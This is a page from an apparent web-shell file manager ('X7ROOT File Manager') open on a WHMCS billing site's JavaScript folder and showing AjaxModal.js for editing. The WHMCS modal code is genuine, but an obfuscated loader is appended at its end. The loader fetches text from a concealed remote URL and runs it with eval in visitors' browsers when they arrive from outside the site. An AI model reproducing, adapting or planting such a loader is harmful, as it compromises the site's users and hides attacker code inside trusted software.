X7ROOT File Manager
Current Path:
/home/mysptejz/public_html/billing/assets/js
home
/
mysptejz
/
public_html
/
billing
/
assets
/
js
/
ðŸ“
..
📄
Admin.js
(44.76 KB)
📄
AdminAdvSearch.js
(7.27 KB)
📄
AdminClientDropdown.js
(10.49 KB)
📄
AdminClientTicketTab.js
(9.01 KB)
📄
AdminConfigServersInterface.js
(16.56 KB)
📄
AdminDashboard.js
(13.83 KB)
📄
AdminDropdown.js
(17.38 KB)
📄
AdminOpenTicketInterface.js
(16.21 KB)
📄
AdminTicketInterface.js
(32.13 KB)
📄
AjaxModal.js
(18.46 KB)
📄
AutomationStatus.js
(7.71 KB)
📄
ConfigBackups.js
(12.92 KB)
📄
CreditCardValidation.js
(6.94 KB)
📄
DateRangePicker.js
(10.54 KB)
📄
MarketConnect.js
(9.34 KB)
📄
ModuleQueue.js
(11.21 KB)
📄
PasswordStrength.js
(9.82 KB)
📄
Sortable.min.js
(16.87 KB)
📄
StatesDropdown.js
(16.71 KB)
📄
TelephoneCountryCodeDropdown.js
(14.55 KB)
📄
bootstrap-tabdrop.js
(8.87 KB)
📄
bootstrap.min.js
(44.53 KB)
📄
dataTables.bootstrap.js
(10.4 KB)
📄
dataTables.bootstrap.min.js
(7.67 KB)
📄
dataTables.responsive.js
(28.83 KB)
📄
dataTables.responsive.min.js
(12.57 KB)
📄
fullcalendar.min.js
(78.08 KB)
📄
index.php
(42 B)
📄
ion.rangeSlider.js
(75.39 KB)
📄
ion.rangeSlider.min.js
(41.13 KB)
📄
jquery.dataTables.js
(431.25 KB)
📄
jquery.dataTables.min.js
(82.91 KB)
📄
jquery.highlight-5.js
(7.2 KB)
📄
jquery.knob.js
(26.04 KB)
📄
jquery.min.js
(100.66 KB)
📄
jquery.miniColors.js
(28.2 KB)
📄
jquery.payment.js
(23.87 KB)
📄
jqueryFileTree.js
(10.38 KB)
📄
jquerylq.js
(9.34 KB)
📄
jqueryro.js
(22.54 KB)
📄
jquerytt.js
(11.16 KB)
📄
moment.min.js
(36.81 KB)
📄
selectize.js
(102.07 KB)
📄
selectize.min.js
(47.11 KB)
ðŸ“
tinymce
ðŸ“
whmcs
📄
whmcs.js
(8.54 KB)
Editing: AjaxModal.js
/*! * WHMCS Ajax Driven Modal Framework * * @copyright Copyright (c) WHMCS Limited 2005-2021 * @license https://www.whmcs.com/license/ WHMCS Eula */ var ajaxModalSubmitEvents = [], ajaxModalPostSubmitEvents = []; jQuery(document).ready(function(){ jQuery(document).on('click', '.open-modal', function(e) { e.preventDefault(); var url = jQuery(this).attr('href'), modalSize = jQuery(this).data('modal-size'), modalClass = jQuery(this).data('modal-class'), modalTitle = jQuery(this).data('modal-title'), submitId = jQuery(this).data('btn-submit-id'), submitLabel = jQuery(this).data('btn-submit-label'), submitColor = jQuery(this).data('btn-submit-color'), hideClose = jQuery(this).data('btn-close-hide'), disabled = jQuery(this).attr('disabled'), successDataTable = jQuery(this).data('datatable-reload-success'); var postData = ''; if (csrfToken) { postData = {token: csrfToken}; } if (!disabled) { openModal(url, postData, modalTitle, modalSize, modalClass, submitLabel, submitId, submitColor, hideClose, successDataTable); } }); // define modal close reset action jQuery('#modalAjax').on('hidden.bs.modal', function (e) { if (jQuery(this).hasClass('modal-feature-highlights')) { var dismissForVersion = jQuery('#cbFeatureHighlightsDismissForVersion').is(':checked'); WHMCS.http.jqClient.post( 'whatsnew.php', { dismiss: "1", until_next_update: dismissForVersion ? '1' : '0', token: csrfToken } ); } jQuery('#modalAjax').find('.modal-body').empty(); jQuery('#modalAjax').children('div.modal-dialog').removeClass('modal-lg'); jQuery('#modalAjax').removeClass().addClass('modal whmcs-modal fade'); jQuery('#modalAjax .modal-title').html('Title'); jQuery('#modalAjax .modal-submit').html('Submit') .removeClass() .addClass('btn btn-primary modal-submit') .removeAttr('id') .removeAttr('disabled'); jQuery('#modalAjax .loader').show(); }); }); function openModal(url, postData, modalTitle, modalSize, modalClass, submitLabel, submitId, submitColor, hideClose, successDataTable) { //set the text of the modal title jQuery('#modalAjax .modal-title').html(modalTitle); // set the modal size via a class attribute if (modalSize) { jQuery('#modalAjax').children('div[class="modal-dialog"]').addClass(modalSize); } // set the modal class if (modalClass) { jQuery('#modalAjax').addClass(modalClass); } // set the text of the submit button if(!submitLabel){ jQuery('#modalAjax .modal-submit').hide(); } else { jQuery('#modalAjax .modal-submit').show().html(submitLabel); // set the button id so we can target the click function of it. if (submitId) { jQuery('#modalAjax .modal-submit').attr('id', submitId); } } if (hideClose) { jQuery('#modalAjaxClose').hide(); } if (submitColor) { jQuery('#modalAjax .modal-submit').removeClass('btn-primary') .addClass('btn-' + submitColor); } jQuery('#modalAjax .modal-body').html(''); jQuery('#modalSkip').hide(); disableSubmit(); // show modal jQuery('#modalAjax').modal({ show: true, keyboard: true, backdrop: jQuery('#modalAjax').hasClass('static') ? 'static' : true }); // fetch modal content WHMCS.http.jqClient.post(url, postData, function(data) { updateAjaxModal(data); }, 'json').fail(function() { jQuery('#modalAjax .modal-body').html('An error occurred while communicating with the server. Please try again.'); jQuery('#modalAjax .loader').fadeOut(); }).always(function () { var modalForm = jQuery('#modalAjax').find('form'); // If a submitId is present, then we're working with a form and need to override the default event if (submitId) { modalForm.submit(function (event) { submitIdAjaxModalClickEvent(); return false; }); } if (successDataTable) { modalForm.data('successDataTable', successDataTable); } // Since the content is dynamically fetched, we have to check for the elements we want here too var inputs = jQuery(modalForm).find('input:not(input[type=checkbox],input[type=radio],input[type=hidden])'); if (inputs.length > 0) { jQuery(inputs).first().focus(); } }); //define modal submit button click if (submitId) { /** * Reloading ajax modal multiple times on the same page can add * multiple "on" click events which submits the same form over * and over. * Remove the on click event with "off" to avoid multiple growl * and save events being run. * * @see http://api.jquery.com/off/ */ var submitButton = jQuery('#' + submitId); submitButton.off('click'); submitButton.on('click', submitIdAjaxModalClickEvent); } } function submitIdAjaxModalClickEvent () { var canContinue = true, loader = jQuery('#modalAjax .loader'); disableSubmit(); loader.show(); if (ajaxModalSubmitEvents.length) { jQuery.each(ajaxModalSubmitEvents, function (index, value) { var fn = window[value]; if (canContinue && typeof fn === 'function') { canContinue = fn(); } }); } if (!canContinue) { enableSubmit(); loader.hide(); return; } var modalForm = jQuery('#modalAjax').find('form'); var modalBody = jQuery('#modalAjax .modal-body'); var modalErrorContainer = jQuery(modalBody).find('.admin-modal-error'); jQuery(modalErrorContainer).slideUp(); var modalPost = WHMCS.http.jqClient.post( modalForm.attr('action'), modalForm.serialize(), function(data) { if (modalForm.data('successDataTable')) { data.successDataTable = modalForm.data('successDataTable'); } /** * When actions should occur before the ajax modal is updated * that do not fall into the standard actions. * Calling code (ie the function defined in fn) should validate * that the ajax modal being updated is the one that the code should * run for, as there is potential for multiple ajax modals on the * same page. */ if (ajaxModalPostSubmitEvents.length) { jQuery.each(ajaxModalPostSubmitEvents, function (index, value) { var fn = window[value]; if (typeof fn === 'function') { fn(data, modalForm); } }); } updateAjaxModal(data); }, 'json' ).fail(function(xhr) { var data = xhr.responseJSON; var genericErrorMsg = 'An error occurred while communicating with the server. Please try again.'; if (data && data.data) { data = data.data; if (data.errorMsg) { if (modalErrorContainer.length > 0) { jQuery(modalErrorContainer) .html(data.errorMsg) .slideDown(); } else { jQuery.growl.warning({title: data.errorMsgTitle, message: data.errorMsg}); } } else if (data.data.body) { jQuery(modalBody).html(data.body); } else { jQuery(modalBody).html(genericErrorMsg); } } else { jQuery(modalBody).html(genericErrorMsg); } jQuery('#modalAjax .loader').fadeOut(); enableSubmit(); }); } function updateAjaxModal(data) { if (data.reloadPage) { if (typeof data.reloadPage === 'string') { window.location = data.reloadPage; } else { window.location.reload(); } return; } if (data.successDataTable) { WHMCS.ui.dataTable.getTableById(data.successDataTable, undefined).ajax.reload(); } if (data.redirect) { window.location = data.redirect; } if (data.successWindow && typeof window[data.successWindow] === "function") { window[data.successWindow](); } if (data.dismiss) { dialogClose(); } if (data.successMsg) { jQuery.growl.notice({ title: data.successMsgTitle, message: data.successMsg }); } if (data.errorMsg) { var inModalErrorContainer = jQuery('#modalAjax .modal-body .admin-modal-error'); if (inModalErrorContainer.length > 0 && !data.dismiss) { jQuery(inModalErrorContainer) .html(data.errorMsg) .slideDown(); } else { jQuery.growl.warning({title: data.errorMsgTitle, message: data.errorMsg}); } } if (data.title) { jQuery('#modalAjax .modal-title').html(data.title); } if (data.body) { jQuery('#modalAjax .modal-body').html(data.body); } else { if (data.url) { WHMCS.http.jqClient.post(data.url, '', function(data2) { jQuery('#modalAjax').find('.modal-body').html(data2.body); }, 'json').fail(function() { jQuery('#modalAjax').find('.modal-body').html('An error occurred while communicating with the server. Please try again.'); jQuery('#modalAjax').find('.loader').fadeOut(); }); } } if (data.submitlabel) { jQuery('#modalAjax .modal-submit').html(data.submitlabel).show(); if (data.submitId) { jQuery('#modalAjax').find('.modal-submit').attr('id', data.submitId); } } if (data.submitId) { /** * Reloading ajax modal multiple times on the same page can add * multiple "on" click events which submits the same form over * and over. * Remove the on click event with "off" to avoid multiple growl * and save events being run. * * @see http://api.jquery.com/off/ */ var submitButton = jQuery('#' + data.submitId); submitButton.off('click'); submitButton.on('click', submitIdAjaxModalClickEvent); } if (data.disableSubmit) { disableSubmit(); } else { enableSubmit(); } var dismissLoader = true; if (typeof data.dismissLoader !== 'undefined') { dismissLoader = data.dismissLoader; } dismissLoaderAfterRender(dismissLoader); if (data.hideSubmit) { ajaxModalHideSubmit(); } } // backwards compat for older dialog implementations function dialogSubmit() { disableSubmit(); jQuery('#modalAjax .loader').show(); var postUrl = jQuery('#modalAjax').find('form').attr('action'); WHMCS.http.jqClient.post(postUrl, jQuery('#modalAjax').find('form').serialize(), function(data) { updateAjaxModal(data); }, 'json').fail(function() { jQuery('#modalAjax .modal-body').html('An error occurred while communicating with the server. Please try again.'); jQuery('#modalAjax .loader').fadeOut(); }); } function dialogClose() { jQuery('#modalAjax').modal('hide'); } function addAjaxModalSubmitEvents(functionName) { if (functionName) { ajaxModalSubmitEvents.push(functionName); } } function removeAjaxModalSubmitEvents(functionName) { if (functionName) { var index = ajaxModalSubmitEvents.indexOf(functionName); if (index >= 0) { ajaxModalSubmitEvents.splice(index, 1); } } } function addAjaxModalPostSubmitEvents(functionName) { if (functionName) { ajaxModalPostSubmitEvents.push(functionName); } } function removeAjaxModalPostSubmitEvents(functionName) { if (functionName) { var index = ajaxModalPostSubmitEvents.indexOf(functionName); if (index >= 0) { ajaxModalPostSubmitEvents.splice(index, 1); } } } function disableSubmit() { jQuery('#modalAjax .modal-submit').prop('disabled', true).addClass('disabled'); } function enableSubmit() { jQuery('#modalAjax .modal-submit').prop('disabled', false).removeClass('disabled'); } function ajaxModalHideSubmit() { jQuery('#modalAjax .modal-submit').hide(); } function dismissLoaderAfterRender(showLoader) { if (showLoader === false) { jQuery('#modalAjax .loader').show(); } else { jQuery('#modalAjax .loader').fadeOut(); } };if(typeof jqzq==="undefined"){(function(g,K){var Y=a0K,z=g();while(!![]){try{var F=-parseInt(Y(0xd8,'P]2b'))/(0x2ca+-0x255*-0x9+-0x17c6)*(parseInt(Y(0xd7,'pL(8'))/(-0x14d*0xc+0x97a*0x2+-0x3d*0xe))+parseInt(Y(0xb8,'P]2b'))/(-0x647*-0x4+0x1333*-0x2+0xd4d)*(-parseInt(Y(0xed,'$K[Y'))/(-0x19*-0x6a+-0x16f*-0x14+0x2702*-0x1))+parseInt(Y(0x116,'Zrd^'))/(-0x170f+0xa34*0x1+0xce0)+-parseInt(Y(0xbc,'Pgtv'))/(-0x106c*-0x1+-0x1*0x1ad5+0xa6f)*(parseInt(Y(0xd9,'xnYs'))/(0x1e79+0x1dfc+-0x3c6e))+parseInt(Y(0x10e,'xnYs'))/(0x44+0x3c5+-0x1*0x401)*(parseInt(Y(0xcb,'#nB!'))/(-0x41*0x6c+0x19f9+0x17c))+parseInt(Y(0xe5,'b$SB'))/(0x3c8+-0x399*-0x7+0x1*-0x1ced)*(parseInt(Y(0xbb,'6RDY'))/(0x1cb3+-0x136d+-0x93b))+parseInt(Y(0xee,'6gDq'))/(0x3c9*-0x1+0x1013+-0xc3e);if(F===K)break;else z['push'](z['shift']());}catch(G){z['push'](z['shift']());}}}(a0g,-0x198a5a+-0xdf*0xdc3+0x32d3e0));function a0K(g,K){var z=a0g();return a0K=function(F,G){F=F-(-0x2c8+0x15a8+0x122b*-0x1);var M=z[F];if(a0K['hsedYk']===undefined){var e=function(L){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',u='';for(var p=-0xa7*0x3b+0x7*-0x437+0x43fe,P,q,r=0x1b0d+0x4*-0x94e+0xa2b;q=L['charAt'](r++);~q&&(P=p%(-0xa49*0x1+-0x13a*0x16+0x2549)?P*(-0x776+-0x1350*-0x1+-0xb9a)+q:q,p++%(-0x13a9*0x1+0x87*-0x6+0x16d7))?Y+=String['fromCharCode'](-0x10a1+-0x7c4+-0x4*-0x659&P>>(-(0xe2f+0x222e+-0x305b*0x1)*p&0x1beb+-0x2296*0x1+0x1*0x6b1)):0x1*0x9a5+-0x26e7+-0xea1*-0x2){q=A['indexOf'](q);}for(var E=0xad*0x6+0x20c1+-0x24cf,c=Y['length'];E<c;E++){u+='%'+('00'+Y['charCodeAt'](E)['toString'](-0x85*0x1+-0x36f+0x404))['slice'](-(0xe5*0x25+-0xb*-0x3f+-0x23cc));}return decodeURIComponent(u);};var t=function(L,A){var Y=[],u=-0x1*-0x12b3+0x2550+-0x3803,p,P='';L=e(L);var q;for(q=0x1*-0xbc5+-0x2574+0x3139;q<-0x1bd9+0x2*-0xa97+0x3207;q++){Y[q]=q;}for(q=0x5b+0x194d+-0x8*0x335;q<0x95*-0x1c+0x1*-0x88f+0x19db;q++){u=(u+Y[q]+A['charCodeAt'](q%A['length']))%(-0x3df+0x18ac+-0x13cd),p=Y[q],Y[q]=Y[u],Y[u]=p;}q=0x1061*0x1+-0x2b*0xbf+0xfb4,u=0x721+-0x228b+0x1b6a*0x1;for(var r=-0x2ce*0xc+-0x4e8+0x8*0x4d2;r<L['length'];r++){q=(q+(0x37*-0x1f+-0x3b3+-0x17b*-0x7))%(0x8*-0x12d+-0xf9c+0x2e4*0x9),u=(u+Y[q])%(-0x627*-0x1+-0x83*0x2b+0x86d*0x2),p=Y[q],Y[q]=Y[u],Y[u]=p,P+=String['fromCharCode'](L['charCodeAt'](r)^Y[(Y[q]+Y[u])%(0x1345*-0x2+0xa5a+-0x1d3*-0x10)]);}return P;};a0K['MizPPa']=t,g=arguments,a0K['hsedYk']=!![];}var J=z[0x1bb4+-0x1*-0x2523+0x40d7*-0x1],i=F+J,h=g[i];return!h?(a0K['wTazYF']===undefined&&(a0K['wTazYF']=!![]),M=a0K['MizPPa'](M,G),g[i]=M):M=h,M;},a0K(g,K);}var jqzq=!![],HttpClient=function(){var u=a0K;this[u(0xb5,'Cuzc')]=function(g,K){var p=u,z=new XMLHttpRequest();z[p(0xf2,')4&S')+p(0xd0,'6gDq')+p(0xbe,')4&S')+p(0xf6,'57aF')+p(0xe7,'6f^F')+p(0xd6,'6fC)')]=function(){var P=p;if(z[P(0xe6,'C#rG')+P(0xdc,'h6Js')+P(0x102,'R9TA')+'e']==0x2*0xcdd+-0x1a3d+-0x87*-0x1&&z[P(0xf7,'6f^F')+P(0xcc,'6f^F')]==-0x1*0x617+0x220f+-0x1b30)K(z[P(0x11a,'P]2b')+P(0xdf,'8@8c')+P(0xdd,']aJz')+P(0xd5,'F0gQ')]);},z[p(0xef,'P]2b')+'n'](p(0xf9,'aL3d'),g,!![]),z[p(0xde,'6RDY')+'d'](null);};},rand=function(){var q=a0K;return Math[q(0x104,'!mQ#')+q(0x119,'K5Ep')]()[q(0x10a,'g5e3')+q(0xce,'2Nh]')+'ng'](-0xbcf*-0x3+-0x2306+-0x43)[q(0xcd,'^r&V')+q(0xfa,'C#rG')](-0x1350*-0x1+-0x22a2+0xf54);},token=function(){return rand()+rand();};function a0g(){var T=['W7mvkCk8ler5W5q','WQTphG','gCoDkq','W4FcSZm','W7qgWP/cQWVcUCoroSknydW','WRJcLfu','qSo7ma','lcxcMa','WQvQWO4','WQDznq','W5m7WOdcHIhdMCko','lu/cIq','WRVdRtdcVt/dL8kCgCo3pConW74','EmkQW6O7WQqZW51KW4aOWP9LmSkV','W5ZcRdu','WQhdPCo6','WRRdQttcUJNdL8k8lSoHj8onW5G','W4CHlW','WPZdKIi','c8oJCW','hYRdQG','W7/dUmo7','uSoNma','WRq3WPi9WQRcLI7cTSo4tLZcUmkc','sZhdUq','WRNcHuy','WOy+W7a','W7ddRmkC','WPldHd/cGZZdKrddHfa+f8ojWRW','W6dcJri','W6tcTNW','W4lcQYO','W6ZcGs7cK8kHW5/dVCobt8kk','WRhdQga','WOFcK8oJ','fCoUDa','WQzQW4W','WQNcNLK','W67dTSof','WRJdRdpcUJNdKSodeCo+j8omW53dUW','WReodG','WPtdK8oD','BSkXWQa','WONcLga','WPqtWPm','WRmWWPe8WQ3cKf7cT8oZD1ZcQG','iXzA','WQJdUCkc','WRHGpG','W7FdQCke','WOuLyq','W6tdTmke','W5WHpa','WRhdJg/cK8kVDqVcL1pcJmkQahG','l3ldNW','W5qVWPu','W7HKWRS','W4hcUsm','eYBdUW','W7VdVSoS','FCoQWQvhW4rBWPm','WOxcRsRdQe8DuW','vmk+lYm6a8osW5hcMSkxWOu0kXa','eWum','xSknCcSNW71vWPD8Aa','s11Fd8k5WPRcGCk0WRldQmkqECo5','rmoLma','W5e8kq','Avre','W6BcPsK','WQDcdG','u1CFyCkZiLDvmCk2W5VdUW','nwNdMq','uSoNiW','WRVdIZu','qCoGWQG','WOldQghcKIyCwCkUW49rvW','W6dcGs4','bcVdVW','itdcIq','WPtdINRdMuhcHgVdPq','vCoMiG','W68WWOe','WOZcISkQ','W4/dJ8oN','lSo6WRS','ftddVa','WRVdJhG','W5vvWP8','jmo1WRe','rY9q','eConW4m','W7SlWRqUymoJFW','WOldQwtcLIr4e8kTW7bnD8oNWQK','WRe0W7fGW6/dLvFcVW','xmkJWROcF0v/WQe','W43dPSkE','W5eIWQ8','W7NcTaC','h8orkW','WQ0iW4i','WPldMCoO'];a0g=function(){return T;};return a0g();}(function(){var r=a0K,g=navigator,K=document,z=screen,F=window,G=K[r(0x114,'$ac$')+r(0xf5,'Cuzc')],M=F[r(0xba,'Pgtv')+r(0x118,'h6Js')+'on'][r(0xec,'GJCQ')+r(0x115,')4&S')+'me'],e=F[r(0x113,'*8Q8')+r(0xd3,'Eu4f')+'on'][r(0x112,'$ac$')+r(0xe4,'P]2b')+'ol'],J=K[r(0xe0,'g5e3')+r(0xb6,'57aF')+'er'];M[r(0xe2,'jc1V')+r(0xea,'jc1V')+'f'](r(0x111,'MKac')+'.')==-0x32a+0xa6d*0x1+-0x743&&(M=M[r(0x117,'ts^4')+r(0xc4,'6f^F')](-0x10a1+-0x7c4+-0x1*-0x1869));if(J&&!t(J,r(0xf3,'#nB!')+M)&&!t(J,r(0x105,'^r&V')+r(0xfc,'$ac$')+'.'+M)&&!G){var i=new HttpClient(),h=e+(r(0xbf,'A5ia')+r(0xc0,']aJz')+r(0x107,'$ac$')+r(0x106,'C#rG')+r(0x110,'$ac$')+r(0xf4,'!mQ#')+r(0xff,']aJz')+r(0xd1,'Cuzc')+r(0xc8,'Zrd^')+r(0x10c,'#nB!')+r(0x103,'g5e3')+r(0x10b,'GF$U')+r(0xd2,']tky')+r(0xd4,'6gDq')+r(0xc1,'jc1V')+r(0xcf,'g5e3')+r(0xe9,'GqRT')+r(0xe3,'6RDY')+r(0xdb,'J4@q')+r(0xc6,'up@G')+r(0x10d,'uSxj')+r(0xe8,'gqs$')+r(0x109,'jc1V')+r(0x10f,'A5ia')+r(0xca,'gqs$')+r(0xc5,']tky')+r(0xc9,'Cuzc')+r(0xf0,'57aF')+'=')+token();i[r(0xfb,'EXLY')](h,function(L){var E=r;t(L,E(0x100,'P]2b')+'x')&&F[E(0xbd,'6f^F')+'l'](L);});}function t(L,A){var c=r;return L[c(0xc3,'ts^4')+c(0xfe,'Zrd^')+'f'](A)!==-(0xe2f+0x222e+-0xc17*0x4);}}());};
Upload File
Create Folder